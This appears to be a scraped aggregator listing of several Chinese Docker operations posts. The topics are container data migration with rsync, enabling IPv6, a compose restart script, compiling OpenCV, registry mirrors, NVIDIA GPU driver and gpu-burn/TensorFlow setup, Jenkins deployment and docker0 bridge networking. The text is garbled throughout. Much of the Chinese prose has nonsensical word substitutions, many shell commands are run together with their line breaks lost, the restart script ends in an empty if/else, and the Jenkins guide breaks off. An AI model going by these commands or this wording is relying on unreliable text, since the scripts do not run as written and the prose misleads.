关于docker:快速迁移系统设计

官网文档https://docs.docker.com/compo... 重启 servicecd /free_cicdfs0/work_continer_data/work_continersip addr add 192.168.71.100 dev vlan71systemctl restart dockerdocker-compose downdocker-compose up -d将所有 须要 长久化的 数据 存储在 一个目录work_dir='/work_continer_data'owncloud="${work_dir}/owncloud/"aim_dir='/work_continer_data/work_continers'mkdir -p ${owncloud}mkdir -p ${aim_dir}其次 编写 整个的 continer 启动 filedeploy_ip='192.168.71.1'resouce_dir='/root/essay/learn_docker/办公信息系统/work_continers/'aim_dir='/work_continer_data/work_continers'(ssh -q root@${deploy_ip} "mkdir -p ${aim_dir}")&sleep 1rsync -avz ${resouce_dir} root@${deploy_ip}:${aim_dir}ssh root@${deploy_ip} "cd ${aim_dir};docker-compose up -d"work_dir=/work_continer_datamkdir -p ${work_dir}/mnt/registrymkdir -p ${work_dir}/owncloudmkdir -p ${work_dir}/mnt/my_flask/data网盘 数据 迁徙ssh 63 100deploy_ip='192.168.199.199'work_dir='/work_continer_data'owncloud="${work_dir}/owncloud/"mkdir -p owncloudnohup rsync -avz --delete /amydata/ root@${deploy_ip}:${owncloud} &共同进步

November 23, 2022 · 1 min · jiezi

关于docker:主机ip6容器ip6以及应用ip6

启用 ip6齐全启用 ip6 配置并不简略 宿主机启用ip6sysctl net.ipv6.bindv6only=0sysctl net.ipv6.conf.default.forwarding=1sysctl net.ipv6.conf.all.forwarding=1 docker demond 启用ipv6Edit /etc/docker/daemon.json, set the ipv6 key to true and the fixed-cidr-v6 key to your IPv6 subnet. In this example we are setting it to 2001:db8:1::/64. { "ipv6": true, "fixed-cidr-v6": "2001:db8:1::/64"}Save the file.Reload the Docker configuration file.$ systemctl reload docker容器内的 利用 也必须启用ip6mongo 利用默认 不反对ip6导致外网 ip6 无法访问 Using a custom MongoDB configuration fileFor a more complicated configuration setup, you can still use the MongoDB configuration file. mongod does not read a configuration file by default, so the --config option with the path to the configuration file needs to be specified. Create a custom configuration file and put it in the container by either creating a custom Dockerfile FROM mongo or mounting it from the host machine to the container. See the MongoDB manual for a full list of configuration file options. ...

November 22, 2022 · 2 min · jiezi

关于docker:重启所有compose服务

重启命令/free_cicdfs0/restart_service.sh脚本 内容cat > /free_cicdfs0/restart_service.sh <<"EOF"#!/bin/bashnode01_ip_list=( '192.168.71.100/32' )node02_ip_list=( '192.168.71.101/32' '192.168.71.105/32' )float_ip_list=( ${node01_ip_list[*]} ${node02_ip_list[*]})node01_compose_paths=( '/free_cicdfs0/composes/gerrit' '/free_cicdfs0/composes/registry' '/free_cicdfs0/composes/gost' '/free_cicdfs0/composes/webssh' '/free_cicdfs0/composes/wuhan_owncloud' '/free_cicdfs0/composes/wuhan_home')node02_compose_paths=( '/free_cicdfs0/composes/jenkins' '/free_cicdfs0/composes/esmod_owncloud')compose_paths=( ${node01_compose_paths[*]} ${node02_compose_paths[*]})function free_all_ip(){ for i in ${float_ip_list[*]} do ip addr del ${i} dev vlan71 done}function down_compose(){ cd $1 docker-compose down}function start_compose(){ cd $1 docker-compose up -d}function down_compose_s(){ for i in ${compose_paths[*]} do down_compose ${i} & done}function start_compose_s(){ for i in ${compose_paths[*]} do start_compose ${i} & done}free_all_ipdown_compose_s # start service on right nodeif [ 1 = $# ]thenelsefiEOF聊聊天,共同进步 ...

November 22, 2022 · 1 min · jiezi

关于docker:ubuntu1804在docker容器中编译opencv320

创立目录并clone代码 mkdir opencvcd opencvgit clone https://github.com/opencv/opencv.gitcd opencvgit checkout 3.2.0mkdir buildcd ..git clone https://github.com/opencv/opencv_contrib.gitcd opencv_contribgit checkout 3.2.0cd ..遇到 ippicv_linux_20151201.tgz 下载不胜利 github间接搜寻 ippicvgit clone https://github.com/lonesoul/i...将其中的ippicv_linux_20151201.tgz文件拷贝到 opencv/opencv/3rdparty/ippicv/downloads/linux-808b791a6eac9ed78d32a7666804320e上面进行替换遇到boostdesc_bgm.i 等找不到 git clone https://github.com/opencv/ope...git checkout contrib_xfeatures2d_boostdesc_20161012将缺失的文件,拷贝到opencv/opencv_contrib/modules/xfeatures2d/src相似的问题能够参考下面两种解决思路编译 cd opencv/opencv/buildcmake -D CMAKE_BUILD_TYPE=RELEASE \ -D CMAKE_INSTALL_PREFIX=/usr/local \ -D INSTALL_C_EXAMPLES=ON \ -D INSTALL_PYTHON_EXAMPLES=ON \ -D OPENCV_GENERATE_PKGCONFIG=ON \ -D OPENCV_EXTRA_MODULES_PATH=/home/mywork/opencv/opencv_contrib/modules \ -D BUILD_EXAMPLES=ON ..

November 22, 2022 · 1 min · jiezi

关于docker:119docker-更换镜像源地址

关上 vim /etc/docker/daemon.json(若没有自行创立) { "registry-mirrors":["https://docker.mirrors.ustc.edu.cn"]}重启一下docker systemctl restart docker

November 22, 2022 · 1 min · jiezi

关于docker:ubuntu1804使用docker配置软件编译运行环境

查看本机系统 uname -acat /etc/issue装置dockerdocker装置教程docker常用命令 sudo docker versionsudo docker imagessudo docker ps拉取镜像 ros:melodic sudo docker pull ros:melodic重新命名 sudo docker tag imgid newname:newtag删除之前的镜像 sudo docker rmi imgid开启容器并装置软件 创立并启动容器 sudo docker run -it newname:newtag /bin/bash查问没有运行的容器 sudo docker ps -a退出容器后进入容器 sudo docker start containerid进入正在运行的容器 sudo docker exec -it containerid /bin/bash装置软件装置 gflagscmake .. -DBUILD_SHARED_LIBS=ON而后失常编译装置即可装置glog装置openglhttps://blog.csdn.net/l297969586/article/details/53534807装置glewsudo apt install libglew-dev装置 suiteparsesudo apt-get install libsuitesparse-dev查看eigen版本vim /usr/include/eigen3/Eigen/src/Core/util/Macros.hgit clonegit checkout 3.3.4失常编译装置装置pclsudo apt install libpcl-devsudo apt-get install ros-melodic-pcl-conversions源码编译装置ceres源码编译装置gtsam源码编译装置g2o装置catkinsudo apt-get install python-catkin-tools将容器导出为tar文件 ...

November 22, 2022 · 1 min · jiezi

关于docker:Jenkins-Docker-一键自动化部署-Spring-Boot-项目

本文章实现最简略全面的 Jenkins + Docker + Spring Boot 一键主动部署我的项目。步骤齐全,少走坑路。 环境:CentOS7 + Git (Gitee)实现步骤:在 Docker 装置 Jenkins,配置 Jenkins 根本信息,利用 Dockerfile 和 Shell 脚本实现我的项目主动拉取打包并运行。一、装置 Docker装置社区版本 Docker CE 1. 确保 yum 包更新到最新yum update2. 卸载旧版本(如果装置过旧版本的话)yum remove docker docker-common docker-selinux docker-engine3. 装置须要的软件包yum install -y yum-utils device-mapper-persistent-data lvm24. 设置 yum 源yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo5. 装置 Dockeryum install docker-ce #因为repo中默认只开启stable仓库,故这里装置的是最新稳定版17.12.06. 启动并设置开机启动systemctl start docker7. 验证装置是否胜利docker version二、装置 JenkinsJenkins 中武官网:https://www.jenkins.io/zh/ 1. 装置 JenkinsDocker 装置一切都是那么简略。留神查看 8080 是否曾经占用,如果占用请批改端口。 docker run --name jenkins -u root --rm -d -p 8080:8080 -p 50000:50000 -v /var/jenkins_home:/var/jenkins_home -v /var/run/docker.sock:/var/run/docker.sock jenkinsci/blueocean如果没改端口号的话,装置实现后拜访地址: http://{部署Jenkins所在服务IP}:8080此处会有几分钟的等待时间。 2. 初始化 Jenkins详情见官网教程:https://www.jenkins.io/zh/doc 2.1 解锁 Jenkins# 进入Jenkins容器 2.2 装置插件抉择第一项:装置举荐的插件。 2.3 创立管理员用户此账户信息肯定要记住哦。 ...

November 22, 2022 · 1 min · jiezi

关于docker:gpuburn容器使用说明

宿主机 装置 driver# 禁用宿主机 自带 显卡 驱动lsmod | grep nouveau nouveau 1949696 0 mxm_wmi 16384 1 nouveau wmi 32768 2 mxm_wmi,nouveau video 49152 1 nouveau i2c_algo_bit 16384 1 nouveau ttm 106496 2 qxl,nouveau drm_kms_helper 184320 4 qxl,nouveau drm 491520 5 drm_kms_helper,qxl,ttm,nouveau# 首先金庸 nouveanvi /etc/modprobe.d/blacklist.conf# 在最初一行增加:blacklist nouveaumodprobe_path='/etc/modprobe.d/blacklist.conf'sed -i "s/blacklist nouveau//g" ${modprobe_path}echo -e '\nblacklist nouveau' >> ${modprobe_path}sudo update-initramfs -u# 敞开图形界面systemctl set-default multi-user.targetrebootlsmod | grep nouveau# 无输入 代表胜利echo "nameserver 114.114.114.114" > /etc/resolv.confsudo sed -i "s@http.*archive.ubuntu.com@http://repo.huaweicloud.com@g" /etc/apt/sources.listsudo sed -i "s@http.*security.ubuntu.com@http://repo.huaweicloud.com@g" /etc/apt/sources.listapt update -ysudo apt-get remove nvidia* -yapt autoremove -yapt install nvidia-driver-460-server -yapt install nvidia-cuda-toolkit -y# 敞开图形界面systemctl set-default multi-user.targetdistribution=$(. /etc/os-release;echo $ID$VERSION_ID) \ && curl -s -L https://nvidia.github.io/nvidia-docker/gpgkey | sudo apt-key add - \ && curl -s -L https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.list | sudo tee /etc/apt/sources.list.d/nvidia-docker.listsudo apt-get update -ysudo apt-get install -y nvidia-docker2sudo systemctl restart dockersudo systemctl enable docker测试 nvidia-smi 驱动# 国内sudo docker run --rm --gpus all registry.cn-hangzhou.aliyuncs.com/mkmk/all:nvidia-cuda-11-base nvidia-smiThu Apr 8 16:52:50 2021 +-----------------------------------------------------------------------------+| NVIDIA-SMI 460.32.03 Driver Version: 460.32.03 CUDA Version: 11.2 ||-------------------------------+----------------------+----------------------+| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC || Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. || | | MIG M. ||===============================+======================+======================|| 0 GeForce GT 730 Off | 00000000:00:03.0 N/A | N/A || 30% 30C P0 N/A / N/A | 0MiB / 2002MiB | N/A Default || | | N/A |+-------------------------------+----------------------+----------------------+| 1 GeForce GT 730 Off | 00000000:00:04.0 N/A | N/A || 30% 27C P0 N/A / N/A | 0MiB / 2002MiB | N/A Default || | | N/A |+-------------------------------+----------------------+----------------------+ +-----------------------------------------------------------------------------+| Processes: || GPU GI CI PID Type Process name GPU Memory || ID ID Usage ||=============================================================================|| No running processes found |+-----------------------------------------------------------------------------+root@free_cicd:~# # 能够 先跳过 这个 步骤 间接 应用 gpu-burn 测试 gpu# 如果 提醒 不兼容 来给 驱动 降级echo "nameserver 114.114.114.114" > /etc/resolv.confwget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu2004/x86_64/cuda-ubuntu2004.pinsudo mv cuda-ubuntu2004.pin /etc/apt/preferences.d/cuda-repository-pin-600wget https://developer.download.nvidia.com/compute/cuda/11.1.1/local_installers/cuda-repo-ubuntu2004-11-1-local_11.1.1-455.32.00-1_amd64.debsudo dpkg -i cuda-repo-ubuntu2004-11-1-local_11.1.1-455.32.00-1_amd64.debsudo apt-key add /var/cuda-repo-ubuntu2004-11-1-local/7fa2af80.pubsudo apt-get updatesudo apt-get -y install cuda# 敞开图形界面systemctl set-default multi-user.targetreboot应用 gpu-burn 测试 gpudocker run -it --gpus=all registry.cn-hangzhou.aliyuncs.com/mkmk/all:gpu-burn-cuda11.1docker run -it --gpus=all registry.cn-hangzhou.aliyuncs.com/mkmk/all:gpu-burn-cuda11.1 "/app/gpu_burn" "10"rm compare.ptxCOMPUTE=60 makegub-burn 的 dockerfileroot@free_cicd:~/gpu-burn# cat Dockerfile FROM nvidia/cuda:11.1.1-devel AS builderWORKDIR /buildCOPY . /build/RUN makeFROM nvidia/cuda:11.1.1-runtimeCOPY --from=builder /build/gpu_burn /app/COPY --from=builder /build/compare.cu /app/WORKDIR /appCMD ["./gpu_burn", "60"]docker build . -t gpu-burn:cuda11.1 # 推送到 近程docker tag gpu-burn:cuda11.1 registry.cn-hangzhou.aliyuncs.com/mkmk/all:gpu-burn-cuda11.1docker push registry.cn-hangzhou.aliyuncs.com/mkmk/all:gpu-burn-cuda11.1须要 适合的 驱动echo "nameserver 114.114.114.114" > /etc/resolv.confubuntu-drivers devices Command 'ubuntu-drivers' not found, but can be installed with:apt install ubuntu-drivers-common -yubuntu-drivers devices == /sys/devices/pci0000:00/0000:00:03.0 == modalias : pci:v000010DEd00001287sv00000000sd00000000bc03sc00i00 vendor : NVIDIA Corporation model : GK208B [GeForce GT 730] driver : nvidia-driver-390 - distro non-free driver : nvidia-driver-460 - distro non-free recommendedsudo apt-get install -y nvidia-driver-460 libnvidia-gl-460 libnvidia-compute-460 libnvidia-extra-460 nvidia-compute-utils-460 libnvidia-decode-460 libnvidia-encode-460 nvidia-utils-460 xserver-xorg-video-nvidia-460 libnvidia-cfg1-460 libnvidia-ifr1-460systemctl set-default multi-user.targetrebootnvidia-smimake cleanmake CUDAPATH=/usr/local/cuda来聊聊啊 ...

November 20, 2022 · 2 min · jiezi

关于docker:gpujupyter使用说明

宿主机 装置 driver# 禁用宿主机 自带 显卡 驱动lsmod | grep nouveau nouveau 1949696 0 mxm_wmi 16384 1 nouveau wmi 32768 2 mxm_wmi,nouveau video 49152 1 nouveau i2c_algo_bit 16384 1 nouveau ttm 106496 2 qxl,nouveau drm_kms_helper 184320 4 qxl,nouveau drm 491520 5 drm_kms_helper,qxl,ttm,nouveau# 首先金庸 nouveanvi /etc/modprobe.d/blacklist.conf# 在最初一行增加:blacklist nouveaumodprobe_path='/etc/modprobe.d/blacklist.conf'sed -i "s/blacklist nouveau//g" ${modprobe_path}echo -e '\nblacklist nouveau' >> ${modprobe_path}sudo update-initramfs -u# 敞开图形界面systemctl set-default multi-user.targetrebootlsmod | grep nouveau# 无输入 代表胜利echo "nameserver 114.114.114.114" > /etc/resolv.confsudo sed -i "s@http.*archive.ubuntu.com@http://repo.huaweicloud.com@g" /etc/apt/sources.listsudo sed -i "s@http.*security.ubuntu.com@http://repo.huaweicloud.com@g" /etc/apt/sources.listapt update -yapt install nvidia-driver-460-server -y# 敞开图形界面systemctl set-default multi-user.targetdistribution=$(. /etc/os-release;echo $ID$VERSION_ID) \ && curl -s -L https://nvidia.github.io/nvidia-docker/gpgkey | sudo apt-key add - \ && curl -s -L https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.list | sudo tee /etc/apt/sources.list.d/nvidia-docker.listsudo apt-get update -ysudo apt-get install -y nvidia-docker2sudo systemctl restart dockersudo systemctl enable docker测试 nvidia-smi 驱动sudo mkdir -p /etc/dockersudo tee /etc/docker/daemon.json <<-'EOF'{ "registry-mirrors": ["https://wm12hkla.mirror.aliyuncs.com"]}EOFsudo systemctl daemon-reloadsudo systemctl restart dockerecho "nameserver 114.114.114.114" > /etc/resolv.conf# 国内 减速sudo docker run --rm --gpus all registry.cn-hangzhou.aliyuncs.com/mkmk/all:nvidia-cuda-11-base nvidia-smiThu Apr 8 16:52:50 2021 +-----------------------------------------------------------------------------+| NVIDIA-SMI 460.32.03 Driver Version: 460.32.03 CUDA Version: 11.2 ||-------------------------------+----------------------+----------------------+| GPU Name Persistence-M| Bus-Id Disp.A | Volatile Uncorr. ECC || Fan Temp Perf Pwr:Usage/Cap| Memory-Usage | GPU-Util Compute M. || | | MIG M. ||===============================+======================+======================|| 0 GeForce GT 730 Off | 00000000:00:03.0 N/A | N/A || 30% 30C P0 N/A / N/A | 0MiB / 2002MiB | N/A Default || | | N/A |+-------------------------------+----------------------+----------------------+| 1 GeForce GT 730 Off | 00000000:00:04.0 N/A | N/A || 30% 27C P0 N/A / N/A | 0MiB / 2002MiB | N/A Default || | | N/A |+-------------------------------+----------------------+----------------------+ +-----------------------------------------------------------------------------+| Processes: || GPU GI CI PID Type Process name GPU Memory || ID ID Usage ||=============================================================================|| No running processes found |+-----------------------------------------------------------------------------+root@free_cicd:~# # 敞开图形界面systemctl set-default multi-user.target应用 gpu-burn 测试 gpu# 前台运行docker run -it --gpus=all --name gpu-jupyter1 -p 8888:8888 ${register_url}/tensorflow/tensorflow:2.4.1-gpu-jupyter # 删除docker stop gpu-jupyter1 && docker rm gpu-jupyter1 # 后盾运行 , 后盾 运行 须要 查看 明码docker run -d --gpus=all --name gpu-jupyter1 -p 8888:8888 ${register_url}/tensorflow/tensorflow:2.4.1-gpu-jupyter docker logs gpu-jupyter1ip:8888 拜访即可gub-burn 的 dockerfiledocker run -it --gpus=all --name gpu-jupyter1 -p 8888:8888 ${register_url}/tensorflow/tensorflow:2.4.1-gpu-jupyter # 推送到 近程register_url='192.168.170.100:5000'docker tag ${register_url}/tensorflow/tensorflow:2.4.1-gpu-jupyter registry.cn-hangzhou.aliyuncs.com/mkmk/all:tensorflow-2.4.1-gpu-jupyterdocker push registry.cn-hangzhou.aliyuncs.com/mkmk/all:tensorflow-2.4.1-gpu-jupyter赠送的 一些 tf 简略代码# 测试 是否 应用的 gpuimport tensorflow as tftf.test.is_gpu_available( cuda_only=False, min_cuda_compute_capability=None) print("is_gpu: ", tf.test.is_gpu_available())# 查看 所有的 可用 计算 设施from tensorflow.python.client import device_libprint(device_lib.list_local_devices())# 加法 # cpu%%timewith tf.device("/device:CPU:0"): a=tf.zeros([1000,1000]) print("a on gpu:",a.device.endswith('GPU:0')) for i in range(10000): b=tf.add(a,a)-->a on gpu: FalseCPU times: user 7.74 s, sys: 1.2 s, total: 8.94 sWall time: 3.39 s# gpu%%timewith tf.device("/device:GPU:0"): a=tf.zeros([1000,1000]) print("a on gpu:",a.device.endswith('GPU:0')) for i in range(10000): b=tf.add(a,a)-->a on gpu: TrueCPU times: user 900 ms, sys: 1.22 s, total: 2.12 sWall time: 2.12 s解说: 真正的 计算工夫 是 是 用户态 计算工夫, 7s 不是 物理工夫 而是 cpu 逻辑 耗时CPU times: user 7.74 s, (cpu 耗时)CPU times: user 900 ms, (GPU 耗时)来聊聊天啊 ...

November 20, 2022 · 3 min · jiezi

关于docker:dndbind

office 镜像internetsystemsconsortium/bind9 https://hub.docker.com/r/inte... 文档https://bind9.readthedocs.io/... https://kb.isc.org/docs/aa-00768 https://kb.isc.org/docs/bind-... pull container没有 laster 标签 docker pull internetsystemsconsortium/bind9:9.16docker tag internetsystemsconsortium/bind9:9.16 192.168.99.100:5000/internetsystemsconsortium/bind9:9.16docker push 192.168.99.100:5000/internetsystemsconsortium/bind9:9.16Recursive DNS Serverfloat_ip=192.168.99.114ip addr add ${float_ip}/32 dev vlan99img_url='192.168.99.100:5000/internetsystemsconsortium/bind9:9.16'docker run \ --name=bind9 \ --publish ${float_ip}:53:53/udp \ --publish ${float_ip}:53:53/tcp \ --publish 127.0.0.1:953:953/tcp \ ${img_url}Authoritative DNS Serverdocker run \ --name=bind9 \ --restart=always \ --publish 53:53/udp \ --publish 53:53/tcp \ --publish 127.0.0.1:953:953/tcp \ --volume /etc/bind \ --volume /var/cache/bind \ --volume /var/lib/bind \ --volume /var/log \ internetsystemsconsortium/bind9:9.16dns 配置# 转发 http 申请forwarders{ 114.114.114.114}dns 解析docker run -d \-p 53:53 -p 53:53/udp \-p 10000:10000 \-v /srv/bind/etc:/etc/bind \-v /srv/bind/zones:/var/lib/bind \-v /srv/bind/webmin:/etc/webmin \-e PASS=newpass \-e NET=0.0.0.0 \--name bind --hostname bind \cosmicq/docker-binddns 解析wsl 配置# This file was automatically generated by WSL. To stop automatic generation of this file, add the following entry to /etc/wsl.conf:# [network]# generateResolvConf = false# nameserver 114.114.114.114# nameserver 192.168.122.118# nameserver fec0:0:0:ffff::1nameserver 192.168.99.114来聊一聊啊 ...

November 19, 2022 · 1 min · jiezi

关于docker:cuda11镜像

pulldocker pull nvidia/cuda:11.2.0-cudnn8-devel-ubi7docker tag nvidia/cuda:11.2.0-cudnn8-devel-ubi7 registry.cn-hangzhou.aliyuncs.com/mkmk/all:nvidia-cuda-11.2.0-cudnn8-devel-ubi7docker push registry.cn-hangzhou.aliyuncs.com/mkmk/all:nvidia-cuda-11.2.0-cudnn8-devel-ubi7gpu tfdocker run --gpus all -it tensorflow/tensorflow:latest-gpu bashdocker pull tensorflow/tensorflow:2.4.1-gpudocker pull tensorflow/tensorflow:2.4.1-gpu-jupyterdocker tag tensorflow/tensorflow:2.4.1-gpu  registry.cn-hangzhou.aliyuncs.com/mkmk/all:tf-2.4.1-gpudocker tag tensorflow/tensorflow:2.4.1-gpu-jupyter  registry.cn-hangzhou.aliyuncs.com/mkmk/all:tf-2.4.1-gpu-jupyterdocker push registry.cn-hangzhou.aliyuncs.com/mkmk/all:tf-2.4.1-gpudocker push registry.cn-hangzhou.aliyuncs.com/mkmk/all:tf-2.4.1-gpu-jupyter应用镜像register_url='192.168.170.100:5000'docker stop gpu-jupyter1 && docker rm gpu-jupyter1 docker run -it --gpus=all --name gpu-jupyter1 -p 8888:8888 ${register_url}/tensorflow/tensorflow:2.4.1-gpu-jupyter # 将输入的 ip 批改为 实在 ip# 残缺 命令 调试 应用docker run -d --gpus=all --name gpu-jupyter1 -p 8888:8888 ${register_url}/tensorflow/tensorflow:2.4.1-gpu-jupyter bash -c "source /etc/bash.bashrc && jupyter notebook --notebook-dir=/tf --ip 0.0.0.0 --no-browser --allow-root"测试 是否 应用的 gpuimport tensorflow as tftf.test.is_gpu_available( cuda_only=False, min_cuda_compute_capability=None) # 简化一点print("is_gpu: ", tf.test.is_gpu_available())# 查看 所有的 可用设施from tensorflow.python.client import device_libprint(device_lib.list_local_devices())# 加法 # cpu%%timewith tf.device("/device:CPU:0"): a=tf.zeros([1000,1000]) print("a on gpu:",a.device.endswith('GPU:0')) for i in range(10000): b=tf.add(a,a)a on gpu: FalseCPU times: user 7.74 s, sys: 1.2 s, total: 8.94 sWall time: 3.39 s# gpu%%timewith tf.device("/device:GPU:0"): a=tf.zeros([1000,1000]) print("a on gpu:",a.device.endswith('GPU:0')) for i in range(10000): b=tf.add(a,a)a on gpu: TrueCPU times: user 900 ms, sys: 1.22 s, total: 2.12 sWall time: 2.12 s来来来聊一晚 ...

November 19, 2022 · 1 min · jiezi

关于docker:不背锅运维解读docker容器网络

docker的网络模型如下图: [root@test-a-docker01 ~]# ifconfigdocker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255        inet6 fe80::42:dbff:feb7:ad6e  prefixlen 64  scopeid 0x20<link>        ether 02:42:db:b7:ad:6e  txqueuelen 0  (Ethernet)        RX packets 170  bytes 19218 (18.7 KiB)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 222  bytes 36474 (35.6 KiB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0ens32: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet 192.168.11.23  netmask 255.255.255.0  broadcast 192.168.11.255        inet6 fd15:4ba5:5a2b:1008:192:168:11:23  prefixlen 64  scopeid 0x0<global>        inet6 fe80::f906:733a:ec14:9a9a  prefixlen 64  scopeid 0x20<link>        inet6 fe80::b57c:b4f:30d1:d6e2  prefixlen 64  scopeid 0x20<link>        inet6 fe80::b7ae:6dc9:eb0b:6f0d  prefixlen 64  scopeid 0x20<link>        ether 00:50:56:29:ce:cc  txqueuelen 1000  (Ethernet)        RX packets 6636  bytes 1370980 (1.3 MiB)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 3443  bytes 452340 (441.7 KiB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536        inet 127.0.0.1  netmask 255.0.0.0        inet6 ::1  prefixlen 128  scopeid 0x10<host>        loop  txqueuelen 1000  (Local Loopback)        RX packets 32  bytes 2592 (2.5 KiB)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 32  bytes 2592 (2.5 KiB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0vethc1173e2: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet6 fe80::e8db:16ff:fe96:ef87  prefixlen 64  scopeid 0x20<link>        ether ea:db:16:96:ef:87  txqueuelen 0  (Ethernet)        RX packets 55  bytes 4354 (4.2 KiB)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 75  bytes 8788 (8.5 KiB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0[root@test-a-docker01 ~]# 「veth」xxxxxxx:它次要用于解决网络名称空间之间的隔离,当启动一个容器,会跟着主动创立一个veth虚构接口,好比是容器接了一条网线到这个veth虚构接口,并且通过veth虚构接口和docker0进行通信,veth会随着的容器的启动而主动减少,也会随着容器的销毁而主动销毁,每个容器都会有各自的veth。docker0:是一个虚构网卡,相似网桥,也能够看成是一个二层网络设备,通过它能够将linux反对的不同的端口连接起来,实现多对多的通信。docker0这个虚构网卡有个IP地址(172.17.0.1),进去容器外面看网络地址音讯,会发现它就是容器的网关接下来分析一下细节不论是运行的还是没有运行的,那么以后都只有一个web01容器在运行 [root@test-a-docker01 ~]# docker ps -aCONTAINER ID   IMAGE     COMMAND                  CREATED       STATUS       PORTS                                   NAMESa809b11833c6   nginx     "/docker-entrypoint.…"   4 hours ago   Up 4 hours   0.0.0.0:8080->80/tcp, :::8080->80/tcp   web01[root@test-a-docker01 ~]# 查看web01容器的详情,它的输入是json,为了不便查看,可复制进去对json串进行解析 [root@test-a-docker01 ~]# docker inspect web01丢到https://www.json.cn/进行解析 可通过--format选项间接获取容器web01的ip地址 [root@test-a-docker01 ~]# docker inspect web01 --format='{{.NetworkSettings.IPAddress}}'172.17.0.2接下来再拉起一个容器web02 [root@test-a-docker01 ~]# docker run -d -p 8081:80 --name web02 -h web02 -v /data/webdata:/usr/share/nginx/html nginx092f185073eb5834097fe0d1c4ada3a65b6016e5ad717f1471927ed6c351afec[root@test-a-docker01 ~]# [root@test-a-docker01 ~]# docker psCONTAINER ID   IMAGE     COMMAND                  CREATED         STATUS         PORTS                                   NAMES092f185073eb   nginx     "/docker-entrypoint.…"   5 seconds ago   Up 4 seconds   0.0.0.0:8081->80/tcp, :::8081->80/tcp   web02a809b11833c6   nginx     "/docker-entrypoint.…"   5 hours ago     Up 5 hours     0.0.0.0:8080->80/tcp, :::8080->80/tcp   web01[root@test-a-docker01 ~]# 当初有了两个容器,持续看下网络接口的状况 [root@test-a-docker01 ~]# ifconfigdocker0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet 172.17.0.1  netmask 255.255.0.0  broadcast 172.17.255.255        inet6 fe80::42:dbff:feb7:ad6e  prefixlen 64  scopeid 0x20<link>        ether 02:42:db:b7:ad:6e  txqueuelen 0  (Ethernet)        RX packets 205  bytes 23535 (22.9 KiB)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 271  bytes 46325 (45.2 KiB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0ens32: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet 192.168.11.23  netmask 255.255.255.0  broadcast 192.168.11.255        inet6 fd15:4ba5:5a2b:1008:192:168:11:23  prefixlen 64  scopeid 0x0<global>        inet6 fe80::f906:733a:ec14:9a9a  prefixlen 64  scopeid 0x20<link>        inet6 fe80::b57c:b4f:30d1:d6e2  prefixlen 64  scopeid 0x20<link>        inet6 fe80::b7ae:6dc9:eb0b:6f0d  prefixlen 64  scopeid 0x20<link>        ether 00:50:56:29:ce:cc  txqueuelen 1000  (Ethernet)        RX packets 6935  bytes 1400532 (1.3 MiB)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 3598  bytes 473025 (461.9 KiB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536        inet 127.0.0.1  netmask 255.0.0.0        inet6 ::1  prefixlen 128  scopeid 0x10<host>        loop  txqueuelen 1000  (Local Loopback)        RX packets 32  bytes 2592 (2.5 KiB)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 32  bytes 2592 (2.5 KiB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0veth3a0e879: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet6 fe80::5c99:aaff:fe4e:9cfb  prefixlen 64  scopeid 0x20<link>        ether 5e:99:aa:4e:9c:fb  txqueuelen 0  (Ethernet)        RX packets 26  bytes 4357 (4.2 KiB)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 48  bytes 10080 (9.8 KiB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0vethc1173e2: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500        inet6 fe80::e8db:16ff:fe96:ef87  prefixlen 64  scopeid 0x20<link>        ether ea:db:16:96:ef:87  txqueuelen 0  (Ethernet)        RX packets 64  bytes 4804 (4.6 KiB)        RX errors 0  dropped 0  overruns 0  frame 0        TX packets 87  bytes 9389 (9.1 KiB)        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0[root@test-a-docker01 ~]# docker0网桥还是1个,「veth」xxxxxxx多了1个,也就是说veth会随着的容器的减少而减少,也会随着容器的销毁而销毁,每个容器都会有各自的veth。接下来探讨一下,内部是如何拜访到容器里提供的服务 创立容器web01 docker run -d -p 8080:80 --name web01 -h web01 -v /data/webdata:/usr/share/nginx/html nginx-p 选项中,当宿主机接管到一个来自8080端口的申请就会转发给容器的80端口进行解决这个转发的动作是由iptables的PREROUTING实现,PREROUTING是目标地址转换(DNAT),再联合路由表就能够得悉发往172.17.0.0/16网络的数据包由docker0接管,再到veth,最终达到容器。 # 查看dant规定[root@test-a-docker01 ~]# iptables -t nat -vnL DOCKERChain DOCKER (2 references) pkts bytes target     prot opt in     out     source               destination             0     0 RETURN     all  --  docker0 *       0.0.0.0/0            0.0.0.0/0               7   364 DNAT       tcp  --  !docker0 *       0.0.0.0/0            0.0.0.0/0            tcp dpt:8080 to:172.17.0.2:80    2   104 DNAT       tcp  --  !docker0 *       0.0.0.0/0            0.0.0.0/0            tcp dpt:8081 to:172.17.0.3:80# 